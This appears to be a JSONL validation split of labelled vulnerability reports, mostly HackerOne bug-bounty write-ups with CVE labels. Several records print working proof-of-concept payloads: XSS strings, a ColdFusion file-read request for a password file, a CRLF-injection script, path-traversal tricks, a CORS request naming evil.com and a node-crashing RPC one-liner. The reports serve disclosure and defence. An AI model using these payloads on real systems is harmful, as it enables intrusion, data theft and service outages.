+{"id": "d0eb3326811359401db3", "text": "[Cross-site Scripting (XSS) - DOM] DOM-XSS\n\nhello defense team :\nI found DOM-XSS-SiteMinder on this subdomain : https://████/\n\n## Impact\n\nAn attacker with access to the Siteminder CA could perform a cross-site scripting attack, which it would use to cause information leaks, privilege escalation, and/or denial of service.\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2013-5968\n\n## Steps to Reproduce\nSteps :\n   1 go to https://███/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=7&USERNAME=\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e\n\n    XSS will be triggered\nthis is payload :\n\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8228638e6549471b1155", "text": "[Improper Access Control - Generic] CORS Misconfiguration in https://████████/accounts/login/\n\n**Description:  Cross-origin resource sharing (CORS) is a browser mechanism that enables controlled access to resources located outside of a given domain. However, it also provides a potential for cross-domain-based attacks, if a website's CORS policy is poorly configured and implemented. CORS can be exploited to trust any arbitrary domain attacker-controlled domain name and send the data to it.  Attackers can make an exploit and ask the domain to send data of the victim to the attacker domain.\n\nAs you can see when we run the above request in Burp Suite.\nAccess-Control-Allow-Origin: evil.com\nAccess-Control-Allow-Credentials: true\n\n## Impact\n\nAn Adversary can carry out a CORS attack to exfiltrate the sensitive details of a victim.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nFirst, put any information in the user and password: put any wrong information and send it and pick up the request\n\nyou will see the (Origin:) Edit it and put evil.com and it will look like this \n\n```\nPOST /accounts/login/ HTTP/1.1\n\nHost: ██████\n\nCookie: _ga_8P65SJGTV5=GS1.1.1667594184.4.0.1667594184.0.0.0; _ga=GA1.1.1314420854.1667559540; csrftoken=JvozZTiwMukzgt7inOPsCLhG2hVTT98qt7mybOSNtumWh0D3w9xIJS4cOePatlet\n\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n\nAccept-Language: en-US,en;q=0.5\n\nAccept-Encoding: gzip, deflate\n\nContent-Type: application/x-www-form-urlencoded\n\nContent-Length: 117\n\nOrigin: https://evil.com\n\nReferer: https://█████/accounts/login/\n\nUpgrade-Insecure-Requests: 1\n\nSec-Fetch-Dest: document\n\nSec-Fetch-Mode: navigate\n\nSec-Fetch-Site: same-origin\n\nSec-Fetch-User: ?1\n\nTe: trailers\n\nConnection: close\n\n\n\ncsrfmiddlewaretoken=KLecVs84vqKcXOXH0olIf9HCjSIsW9sDuncb7nIlcqMzYlts9J3Ymgu85PCJwlyG&█████\n```\n\nresponse\n\n```\nHTTP/1.1 200 OK\n\nServer: nginx/1.23.0\n\nDate: Fri, 11 Nov 2022 16:36:45 GMT\n\nContent-Type: text/html; charset=utf-8\n\nContent-Length: 3371\n\nConnection: close\n\nExpires: Fri, 11 Nov 2022 16:36:45 GMT\n\nCache-Control: max-age=0, no-cache, no-store, must-revalidate, private\n\nVary: Cookie, Origin\n\nX-Frame-Options: DENY\n\nAccess-Control-Allow-Credentials: true\n\nAccess-Control-Allow-Origin: https://evil.com\n\nAccess-Control-Expose-Headers: ETag, Last-Modified, Cache-Control, Content-Type, Content-Length, WWW-Authenticate, X-Experience-API-Version, Accept-Language\n\nSet-Cookie: csrftoken=JvozZTiwMukzgt7inOPsCLhG2hVTT98qt7mybOSNtumWh0D3w9xIJS4cOePatlet; expires=Fri, 10 Nov 2023 16:36:45 GMT; Max-Age=31449600; Path=/; SameSite=Lax\n\n\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta name=\"description\" content=\"████'s open █████████\">\n\n    <link rel=\"shortcut icon\" href=\"/static/img/favicon.ico\" />\n    <link rel=\"icon\" href=\"/static/img/favicon.ico\" type=\"image/x-icon\">\n    \n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/pure/0.6.0/pure-min.css\">\n\n    <!--[if lte IE 8]>\n      <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/pure/0.6.0/grids-responsive-old-ie-min.css\">\n      <link rel=\"stylesheet\" href=\"/static/css/marketing-old-ie.css\">\n    <![endif]-->\n    <!--[if gt IE 8]><!-->\n      <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/pure/0.6.0/grids-responsive-min.css\">\n      <link rel=\"stylesheet\" href=\"/static/css/marketing.css\">\n    <!--<![endif]-->\n    \n<link rel=\"stylesheet\" href=\"/static/css/extra.css\">\n\n    <title>█████████ Login</title>\n</head>\n\n<body>\n  <div class=\"header\">\n    <div class=\"home-menu pure-menu pure-menu-horizontal pure-menu-fixed\">\n        <div class=\"pure-g\">\n          <div class=\"pure-u-1-2\">\n            <!-- <a class=\"pure-menu-heading\" href=\"/\">██████</a> -->\n            <a class=\"pure-menu-heading\" href=██████████\n          </div>\n          <div class=\"pure-u-1-2\">\n            <ul", "source": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "68152050db4bf79184ae", "text": "[HTTP Request Smuggling] CVE-2022-32214 - HTTP Request Smuggling Due To Improper Delimiting of Header Fields\n\nOriginal Report: https://hackerone.com/reports/1524692\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "source": "hackerone", "timestamp": "2022-07-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "890e00def9705eb7fb07", "text": "[CRLF Injection] CRLF Injection in Nodejs ‘undici’ via host\n\nSummary: \nundici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘host’ header of undici.request api.\nDescription:\nlike https://hackerone.com/reports/1664019\nSource code:\nlib/core/request.js:296\n\n```javascript\nfunction processHeader (request, key, val) {\n  if (val && (typeof val === 'object' && !Array.isArray(val))) {\n    throw new InvalidArgumentError(`invalid ${key} header`)\n  } else if (val === undefined) {\n    return\n  }\n\n  if (\n    request.host === null &&\n    key.length === 4 &&\n    key.toLowerCase() === 'host'\n  ) {\n    // Consumed by Client\n    request.host = val // without headerCharRegex.exec(val)\n  } else if (\n    request.contentLength === null &&\n...\n```\nExample:\n```javascript\nimport { request } from 'undici'\n\nconst unsanitizedContentTypeInput =  '12 \\r\\n\\r\\naaa:aaa'\n\nconst {\n    statusCode,\n    headers,\n    trailers,\n    body\n} = await request('http://127.0.0.1:23333', {\n    method: 'GET',\n    headers: {\n        'content-type': 'application/json',\n        'host': unsanitizedContentTypeInput\n    }\n})\n\nconsole.log('response received', statusCode)\nconsole.log('headers', headers)\n\nfor await (const data of body) {\n    console.log('data', data)\n}\n\nconsole.log('trailers', trailers)\n\n```\n{F2182450}\nI have submitted the report： https://hackerone.com/reports/1820955\nSecurity Releases: https://nodejs.org/en/blog/vulnerability/february-2023-security-releases/#fetch-api-in-node-js-did-not-protect-against-crlf-injection-in-host-headers-medium-cve-2023-23936\nSecurity Advisory: https://github.com/nodejs/undici/security/advisories/GHSA-5r9g-qh6m-jxff\n\n## Impact\n\nAll versions of the 19.x, 18.x and 16.x release lines.", "source": "hackerone", "timestamp": "2023-03-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6d60e698cbbea9ca26c5", "text": "[Business Logic Errors] Subdomain takeover of images.crossinstall.com\n\n## Summary\nimages.crossinstall.com points to an AWS S3 bucket that no longer exists. I was able to take control of this bucket and put my own content onto it. I can now serve content on this domain, obtain a TLS certificate for this domain, etc.\n\nIf any customers or servers are pointing to anything within this domain, I could serve them arbitrary/malicious content. I could also use this in case your domain whitelists your own domain for OAuth, or if there are cookies scoped to the entire domain. Usually this can have a high impact.\n\n## PoC\nVisit images.crossinstall.com/index.html; an HTML comment with my username is present.\n\n```\n% dig images.crossinstall.com +short\nassets.crossinstall.com.s3.amazonaws.com.\ns3-1-w.amazonaws.com.\ns3-w.us-east-1.amazonaws.com.\n52.217.103.180\n\n% curl images.crossinstall.com/index.html\n<!-- hackerone/ian bugcrowd/iangcarroll -->\n\n% whois crossinstall.com | grep Org\nRegistrant Organization: Twitter, Inc.\nAdmin Organization: Twitter, Inc.\nTech Organization: Twitter, Inc.\n```\n\n## Impact\n\nSubdomain takeover", "source": "hackerone", "timestamp": "2022-01-05", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e7784d14d12a6ade8b0d", "text": "[Privacy Violation] Messages can still be seen on conversation after expiring when cron is misconfigured\n\n## Summary:\nNextcloud talk has a feature called ```Message Expiration```, Chat messages can be expired after a certain time. However the message  does not really expire and can still be seen by anyone.\n\n## Steps To Reproduce:\n\n1. Create a conversation\n1. Set the message expiration Go to Settings > Moderation \n1. Pick anything and using burp intercept the request and set it to 60 or 120 seconds.\n1. send a message\n1. wait for the message to expire\n1. Copy the conversation link and open it to a new tab\n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n ██████████\n\n## Impact\n\nMessages that should expired is divulged to anyone that can access the conversation, This includes personal and group.", "source": "hackerone", "timestamp": "2023-02-27", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3576b721a84f388aff9b", "text": "[Path Traversal] Filesystem experimental permissions policy does not handle path traversal cases.\n\nConsider the following command on Node v20.0.0:\n```\nnode --experimental-permission --allow-fs-read=* --allow-fs-write=/home/kali/restricted/ poc.js\n```\nThis command is intended to restrict write access to only files present in the directory /home/kali/restricted\n\nHowever if we have the following poc.js:\n```\nconst fs = module.require('fs')\nfs.writeFileSync(\"/home/kali/restricted/../secret.txt\", \"Target Overwritten!\")\n```\nThis apparently matches the directory /home/kali/restricted/ directory check and then writes to /home/kali/secret.txt (by using ../), which is not intended, bypassing the experimental permission policy for files.\n\n## Impact\n\nPath traversal when checking experimental file permission policy", "source": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "2b842b1627c8a4cfb9b3", "text": "[Improper Input Validation] Bypass parsing of transaction data, users on the phishing site will transfer/approve  ERC20 tokens without being alerted\n\n## Summary:\nThere are still a lot of valuable erc20 tokens compiled with solc < 0.5.0 on the eth mainnet. The methods compiled with Solc below 0.5.0 will not check if the length of the input calldata matches the params types. It will load the calldata as long as the params types need, regardless of the actual input length. And the insufficient parts will be read as byte(00). \n\nMetamask can't parse these unusual length transaction data like normal. For example, delete the last byte of the input data:\n\nA normal transfer call data:\n```\nsighash ->          0xa9059cbb\naddress to ->       000000000000000000000000C588e338FdBB2CC523a1177f3D18e87FF5A16a6b\nuint256 value ->    0000000000000000000000000000000000000000000000000000000000989700  ->  10000128\n```\nEvil call data:\n```\nsighash ->          0xa9059cbb\naddress to ->       000000000000000000000000C588e338FdBB2CC523a1177f3D18e87FF5A16a6b\nuint256 value ->    00000000000000000000000000000000000000000000000000000000009897  \n```\n\nWhen users connect to a phishing site, attack can trigger a token transfer or approve transaction without alerting users to the token amount. \n\n## Steps To Reproduce:\n\nI fork the metamask test dapp repo as a exp demo. {F1840812}\n\n1. cd in the dist, and setup a http server, for example run `static-server . -z --port 9011`.\n2. open in the browser and connect with metamask ext at the Rinkeby network.\n3. Click the button `Create Token` will deploy a erc20 token with compiler solc 0.4.26. \ncontract source code: {F1840809}\n\n{F1840801}\n\n4. After contract deploying, click `Transfer Tokens`, metamask will show its a normal contract call without showing send to address, send amount and token symbol.\n\n{F1840802}\n\ntransfer send data hex:\n\n{F1840803}\n\nTransfer event log:\n\n{F1840800}\n\n5. Click `Approve Tokens`, lack of prompt like transfer.\n\n{F1840799}\n\n## Impact\n\nThe attacker can induce the victims to send/approve any number of tokens without knowing it.", "source": "hackerone", "timestamp": "2023-04-10", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "0977daca55286532e281", "text": "[Path Traversal] CVE-2023-27534: SFTP path ~ resolving discrepancy\n\n## Summary:\nlibcurl `Curl_getworkingpath` function resolves `~` as remote users' home directory. This routine behaves in an undocumented way for `sftp` protocol. In particular it is said that `/~/` is converted to remote user's home directory (*1), while this isn't how the function actually behaves. This can lead to unexpected final path for the `sftp` access, and allow an attacker with partial path access to gain access to untended remote system path locations.\n\n## Steps To Reproduce:\n\n  1. access `sftp://host/~a../other/file`\n  2. remote path will result as: `/home/user/../other/file`\n\nIt's notable that when `~a..` path component is checked for path traversal via normal unix path resolving rules, the path component is **not** considered accessing a parent directory, and thus will bypass path sanitization operations attempting to disallow access to parent directory. As an additional remark, in regular UNIXy world `~user/`  specifies another users' home directory, which clearly is not supported by `sftp`. This adds to potential confusion.\n\n## Remediation\n- In `Curl_getworkingpath` convert `~` in `sftp` paths only when  either `/~/` or `/~` (if it is the full path) is used. Reject `~<something>` paths (or don't convert them).\n\n## Supporting Material/References:\n1) https://everything.curl.dev/usingcurl/scpsftp\n\n## Impact\n\nBypassing application implemented path filtering.", "source": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bd12d26ca397eade8b28", "text": "[Business Logic Errors] CVE-2023-27536: GSS delegation too eager connection re-use\n\nlibcurl would reuse a previously created connection even when the GSS delegation (CURLOPT_GSSAPI_DELEGATION) option had been changed that could have changed the user's permissions in a second transfer.\n\nlibcurl keeps previously used connections in a connection pool for subsequent transfers to reuse if one of them matches the setup. However, this GSS delegation setting was left out from the configuration match checks, making them match too easily, affecting krb5/kerberos/negotiate/GSSAPI transfers.\n\n## Hackerone report\n#1895135\n\n## Impact\n\nExisting connection that was established via more lax delegation will be reused for connection that should not succeed due to more restrictive delegation requested.", "source": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4043f3e23997d88e4517", "text": "[Cross-site Scripting (XSS) - Reflected] Incorrect handling of certain characters passed to the redirection functionality in Rails can lead to a single-click XSS vulnerability.\n\n### Overview\nIncorrect handling of certain characters passed to the redirection functionality in Rails can lead to a single-click XSS vulnerability across web applications. This has been tested on the latest version of Rails as of today (7.0.4.3).\n\n### Description\nDownstream parsing of values sent to the redirect_to function will cause the 'location' header to be removed from the response when certain characters are used in the URL. For example, if the `\\b` (%08) (backspace) character is used in the URL.\n\nWhen the location header is missing from the response, it is possible to control the `href` attribute in the HTML response that would normally be briefly shown prior to the redirect, therefore by using a javascript URI, it is possible to prevent the redirect and serve an XSS payload.\n\nDuring the assessment, the `%01-%08, %0b, %0c, %0e-%1f` characters were found to be vulnerable, however there may be others.\n\nWe believe this may be attributed to the rack linters attempting to conform to rfc7230 (https://github.com/rack/rack/blob/f5666bc8cb13b8d731ea0222fbd3ada670f2cd55/lib/rack/lint.rb#L671)\n\n### Proof of Concept\nA simple instance is as follows:\n\n`app/controllers/application_controller.rb`\n```ruby\nclass ApplicationController < ActionController::Base\n  def vuln\n    redirect_to params[:redirect_url], allow_other_host: true\n  end\nend\n```\n\n`config/routes.rb`\n```ruby\nRails.application.routes.draw do\n  get \"/vuln\" => \"application#vuln\"\nend\n```\n\nAnd then when we retrieve: `http://localhost:3000/vuln?redirect_url=javascript:alert()%08`\n\nThe response will be as follows:\n```\nHTTP/1.1 302 Found\nCache-Control: no-store\nDate: Thu, 06 Apr 2023 05:16:21 GMT\nConnection: close\nContent-Length: 100\n\n<html><body>You are being <a href=\"javascript:alert(document.cookie) \">redirected</a>.</body></html>\n```\n\nAs the page does not redirect, if the user clicks on the link (expecting the redirect for example), the payload will be triggered:\n{F2303758}\n\n## Impact\n\nUser controlled values being sent to the `redirect_to` function may cause an unwanted XSS vulnerability. This was discovered in the wild and proven to be a legitimate security concern.", "source": "hackerone", "timestamp": "2023-07-28", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "db3dec1006a5258f0c05", "text": "[Server-Side Request Forgery (SSRF)] SSRF Vulnerability through Connection test feature\n\nAn SSRF (Server-Side Request Forgery) attack can potentially be executed through the connection test feature, specifically when interacting with the Slack API. This attack allows an attacker to see the plain response, providing them with information that can aid in exploiting the vulnerability, rather than relying solely on blind SSRF techniques.\n\n## Impact\n\nThis vulnerability allows the user to access connection information and exploit the test connection feature by sending many requests, leading to a denial of service (DoS) condition on the server. Furthermore, malicious actors can leverage this vulnerability to establish harmful connections with the server, hit on metadata endpoints.\n\n{F2635041}", "source": "hackerone", "timestamp": "2023-09-12", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ba0f15ce72c75cae8a27", "text": "[Improper Access Control - Generic] Unauthenticated File Read Adobe ColdFusion\n\nUnauthenticated Arbitrary File Read vulnerability due to de serialization of untrusted data in Adobe ColdFusion.\n\n## Impact\n\nThe impact of this vulnerability could result in unauthorized access to sensitive data and actions within the affected Adobe ColdFusion instances.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\nThe vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier\n\n## CVE Numbers\nCVE-2023-26360\n\n## Steps to Reproduce\nPOST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1\nHost: ███\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\nConnection: close\nContent-Length: 121\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate, br\n\n_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d\n\nPassword hash is disclosed in the response:\n\n## Suggested Mitigation/Remediation Actions\nApply the necessary security patches or updates provided by Adobe to fix the vulnerability.", "source": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "7c8b2f665714663f188e", "text": "[Information Exposure Through Debug Information] Information exposure in in guzzlehttp/guzzle (https://github.com/nextcloud/3rdparty/tree/master/guzzlehttp/guzzle)\n\n## Summary:\n\nAffected versions of this package are vulnerable to Information Exposure which fails to strip the Authorization header on HTTP downgrade, this depency is out of date and it can leat to still authorization header.\n## Steps To Reproduce:\n\n(https://github.com/nextcloud/3rdparty/tree/master/guzzlehttp/guzzle)\n  Introduced through: guzzlehttp/guzzle@7.4.0, aws/aws-sdk-php@3.184.6, php-http/guzzle7-adapter@1.0.0, php-opencloud/openstack@3.1.0, microsoft/azure-storage-blob@1.5.2\n  From: guzzlehttp/guzzle@7.4.0\n  From: aws/aws-sdk-php@3.184.6 > guzzlehttp/guzzle@7.4.0\n  From: php-http/guzzle7-adapter@1.0.0 > guzzlehttp/guzzle@7.4.0\n\n##Fix:\nYou can update to 7.4.4, 6.5.7 to fix this information exposure.\n\n## Impact\n\nAffected versions of this package are vulnerable to Information Exposure which fails to strip the Authorization header on HTTP downgrade.", "source": "hackerone", "timestamp": "2022-09-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ecc4b4bb89b623a42d30", "text": "[Server-Side Request Forgery (SSRF)] SSRF - pivoting in the private LAN\n\nThe upload from remote servers features allows me to perform SSRF attack on the private LAN servers.\n\nthis features checks the following\n* http response code needs to be 200 - easy, a non issue for attackers really\n* checks the file exension   (can be bypassed with something like  http://192.168.1.148/index.php/test.png  - anything after index.php/  is ignorred and I control the file extension as well)\n* some checks are performed on the IP, but any public and PRIVATE ips are allowed\n\nI can read web  apps from the internal network, fingerprint them and exploit them (using GET only exploits).\n\nThis is how I've managed to read an phpinfo file from my local LAN:\n\nhttp://192.168.1.157/info.php/test.html\n\nThe file is fetched, saved by the CMS locally (or S3) and then the output can be downloaded by the attacker as you can see in the attached screenshots.\n\nps: crayons\n\n## Impact\n\nAn attacker can pivot in the private LAN and exploit local network apps.", "source": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "fa0fe32d8a2d49753e80", "text": "Google Chrome Browser 111.0.5563.64 AXPlatformNodeCocoa Fatal OOM/Crash (macOS)\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2023-04-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "02f353c41a4a1ed3c8f7", "text": "[Business Logic Errors] CVE-2023-27534: SFTP path ~ resolving discrepancy\n\ncurl supports SFTP transfers. curl's SFTP implementation offers a special feature in the path component of URLs: a tilde (~) character as the first path element in the path to denotes a path relative to the user's home directory. This is supported because of wording in the once proposed to-become RFC draft that was to dictate how SFTP URLs work.\n\nDue to a bug, the handling of the tilde in SFTP path did however not only replace it when it is used stand-alone as the first path element but also wrongly when used as a mere prefix in the first element.\n\nUsing a path like /~2/foo when accessing a server using the user dan (with home directory /home/dan) would then quite surprisingly access the file /home/dan2/foo.\n\n## Hackerone report\n#1892351\n\n## Impact\n\nCircumventing filtering.", "source": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "b9e7742314e76539350a", "text": "[Unknown] [CPP]Add query to detect bugs like CVE-2017-5123\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "7b98960221a82a6e975a", "text": "[Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')] CVE-2023-28320 - siglongjmp race condition\n\nlibcurl provides several different backends for resolving host names, selected at build time. If it is built to use the synchronous resolver, it allows name resolves to time-out slow operations using alarm() and siglongjmp().\n\nWhen doing this, libcurl used a global buffer that was not mutex protected and a multi-threaded application might therefore crash or otherwise misbehave.\n\n## Impact\n\nDenial of service due to a crash (likely) or possibly other impacts.", "source": "hackerone", "timestamp": "2023-05-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "cbaca5b60caedcf516e0", "text": "[Cleartext Transmission of Sensitive Information] CVE-2022-43551: Another HSTS bypass via IDN\n\n## Summary:\nI found an issue similar to CVE-2022-42916 again.\nSince the phenomenon is the same, I will describe the same as last time.\n\nHSTS checks are bypassed if any character in the IDN convert(Nameprep) to a '.'\nfor example\"。\"(UTF-8:E38082).\nI think there are other characters that become \".(UTF-8:2E)\" as a result of converting with IDN.\n\nThis is because the host name before IDN conversion is used when writing to the HSTS cache.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Start from a state where there is no entry for the access destination host name in the HSTS cache\n  2. `curl -v --hsts hsts.txt https://accounts.google%E3%80%82com`\n  3. `curl -v --hsts hsts.txt http://accounts.google%E3%80%82com`\n\nResult of 3.\n```\nC:\\test\\curl-7.86.0-win64-mingw\\bin>curl -v --hsts hsts.txt http://accounts.google%E3%80%82com --head\n*   Trying 142.250.206.237:80...\n* Connected to accounts.google縲Ｄom (142.250.206.237) port 80 (#0)\n> HEAD / HTTP/1.1\n> Host: accounts.google.com\n> User-Agent: curl/7.86.0\n> Accept: */*\n>\n```\n\nIf you execute 3. after executing the below, you will access the site with HTTPS.\n`curl -v --hsts hsts.txt https://accounts.google.com`\n\nI use [this](https://curl.se/download/curl-7.86.0.zip) in a Windows environment.\n\nI checked the HSTS cache after executing 2. and found the host name before IDN conversion.\n```\n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\n.accounts.google。com \"20231029 15:57:29\"\n```\n\nI think the problem is in http.c:line 3727.\ndata->state.up.hostname is the hostname of the IDN unconverted.\n```\n    CURLcode check =\n      Curl_hsts_parse(data->hsts, data->state.up.hostname,\n                      headp + strlen(\"Strict-Transport-Security:\"));\n```\n\n## Impact\n\nHSTS bypass.", "source": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "7d3405069643fbf3aad9", "text": "[Uncontrolled Resource Consumption] RPC call crashes node\n\n## Summary:\nPassing a large list of amounts to the `get_output_distribution` call crashes a remote node, after maybe 90 seconds of keeping it busy.\n\n## Releases Affected:\n\n  * Probably all\n\n## Steps To Reproduce:\n```\nvalues=`echo $(seq 0 500 900000)|sed -e 's/ /,/g'` ; curl http://127.0.0.1:38081/json_rpc -d '{\"jsonrpc\":\"2.0\",\"id\":\"0\",\"method\":\"get_output_distribution\",\"params\":{\"amounts\": ['$values'], \"from_height\": 100, \"cumulative\": false}' -H 'Content-Type: application/json'\n```\nReduce the 900000 number a bit and instead of crashing the daemon, it'll do a denial of service, like 90 seconds per call, making it hard for anyone else to use that call.\n\n\n## Supporting Material/References:\n\n  * Unnecessary. The attack is  straightforward and compelling.\n\n## Housekeeping\n\nPayment address: ████\n\n## Impact\n\nAn attacker can crash any remote node that exposes `get_output_distribution` or tie up availability of that function call. I think that's serious.", "source": "hackerone", "timestamp": "2022-08-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3bca9b8271b1b2e118f3", "text": "OctoberCMS v3.4.0 (Wiki_article) Stored Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2023-12-03", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "96795bcd7daa70ae23cb", "text": "[Missing Encryption of Sensitive Data] Waketime Payment Gateway Vulnerability\n\nSummary: Waketime's payment gateway does not encrypt data in transit, which could allow an attacker to intercept and capture card information. This vulnerability could be exploited by a man-in-the-middle (MITM) attack, in which the attacker would insert themselves between the user and the payment gateway, intercepting the data as it is transmitted.\n\nSteps to Reproduce:\n\nVisit the Waketime website.\nProceed to subscribe and enter your credit card information.\nObserve that the data is not encrypted in transit.\nExpected Results: The data should be encrypted in transit, using a secure protocol.\n\nActual Results: The data is not encrypted in transit, and could be intercepted by an attacker.\n\n## Impact\n\nA man-in-the-middle attack is a type of cyberattack in which an attacker inserts themselves between two parties, intercepting and modifying the communication between them.", "source": "hackerone", "timestamp": "2023-08-05", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b5215d626a1fd98380aa", "text": "[Cross-site Scripting (XSS) - Generic] XSS in Cisco Endpoint\n\n**Description:**\nMultiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section.\n\n## References\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe\n\n## Impact\n\nWith this vulnerability, an attacker can steal users cookies, redirect users to a malicious website, or execute arbitrary javascript.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2023-3580\n\n## Steps to Reproduce\n1.) Perform the following post request. \n\nPOST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\nHost: ███████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\nConnection: close\nHackerone: R00tdaddy\nContent-Length: 72\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate, br\n\nSAMLResponse=%22%3E%3Csvg/onload=alert(/2XUkWJ29OE88uyTbdZ3a2UmA828/)%3E\n\nSAML Response pops up in the browser.\n\n## Suggested Mitigation/Remediation Actions\nPatch : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe", "source": "hackerone", "timestamp": "2023-11-17", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "25a4d5a8b77c1314ea14", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2023-29489 XSS in cpanel at [www.███] - Securado, Oman\n\n**Description:**\nThere is a cross-site scripting vulnerability found on cpanel application hosted on the website. Cpanel is not updated because auto update feature is disabled.\n\n## Impact\n\nAn attacker can steal cookies or hijack browser session.\n\n## System Host(s)\nwww.██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to `http://www.████/cpanelwebcall/%3Cimg%20src=x%20onerror=%22prompt(1)%22%3Eaaaaaaaaaaaa`\n2. You will see XSS popup message\n\n## Suggested Mitigation/Remediation Actions\nEnable autoupdate feature and update cpanel", "source": "hackerone", "timestamp": "2023-06-09", "split": "val", "label_source": "within_source_cve_index", "label": 1}
